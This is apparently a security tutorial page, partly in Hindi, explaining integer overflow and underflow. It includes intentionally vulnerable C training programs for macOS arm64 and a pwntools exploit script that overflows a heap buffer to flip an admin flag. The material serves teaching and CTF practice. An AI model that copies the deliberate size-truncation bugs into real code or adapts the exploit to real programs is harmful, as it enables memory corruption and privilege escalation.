Integer Overflow

Reading time: 11 minutes

Basic Information

At the heart of an integer overflow is the limitation imposed by the size of data types in computer programming and the interpretation of the data.

For example, an 8-bit unsigned integer can represent values from 0 to 255. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a 16-bit unsigned integer, which can hold values from 0 to 65,535, adding 1 to 65,535 will wrap the value back to 0.

Moreover, an 8-bit signed integer can represent values from -128 to 127. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as -128 (binary 10000000), and the most positive number is 127 (binary 01111111).

Max values for common integer types:

A short is equivalent to a int16_t and an int is equivalent to a int32_t and a long is equivalent to a int64_t in 64bits systems.

Max values

For potential web vulnerabilities it's very interesting to know the maximum supported values:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

#include <stdio.h>
#include <limits.h>

int main() {
int a = INT_MAX;
int b = 0;
int c = 0;

b = a * 100;
c = a + 1;

printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}

उदाहरण

Pure overflow

प्रिंट किया गया परिणाम 0 होगा क्योंकि हमने char overflow कर दिया:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

साइन किए गए से अनसाइन किए गए में रूपांतरण

मान लीजिए ऐसी स्थिति जहाँ उपयोगकर्ता इनपुट से एक साइन किया हुआ पूर्णांक (signed integer) पढ़ा जाता है और फिर उसे बिना उचित सत्यापन के ऐसे संदर्भ में उपयोग किया जाता है जो उसे अनसाइन किया गया पूर्णांक (unsigned integer) के रूप में मानता है:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

इस उदाहरण में, यदि कोई उपयोगकर्ता ऋणात्मक संख्या इनपुट करता है, तो इसे बाइनरी मानों की व्याख्या के तरीके के कारण एक बड़े unsigned integer के रूप में माना जाएगा, जिससे अप्रत्याशित व्यवहार हो सकता है।

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

इसे निम्न के साथ कम्पाइल करें:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

macOS Underflow उदाहरण

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

इसे निम्न के साथ कंपाइल करें:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Other Examples

• https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

• पासवर्ड के आकार को स्टोर करने के लिए केवल 1B उपयोग किया जाता है, इसलिए इसे overflow करना संभव है और यह सोचने पर मजबूर किया जा सकता है कि इसकी लंबाई 4 है जबकि असल में यह 260 है — जिससे length check protection को बायपास किया जा सकता है

• https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html

• कुछ संख्याओं के आधार पर z3 का उपयोग करके एक नया नंबर ढूंढें जिसे पहले नंबर से गुणा करने पर वह दूसरा नंबर प्राप्त हो:

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

• https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
• पासवर्ड के आकार को स्टोर करने के लिए केवल 1B उपयोग किया जाता है, इसलिए इसे overflow किया जा सकता है और यह सोचने पर मजबूर किया जा सकता है कि इसकी लंबाई 4 है जबकि असल में यह 260 है — जिससे length check protection को बायपास करके stack में अगले स्थानीय वेरिएबल को ओवरराइट कर दोनों प्रोटेक्शंस को बायपास किया जा सकता है

ARM64

यह ARM64 में बदलता नहीं है जैसा कि आप this blog post में देख सकते हैं।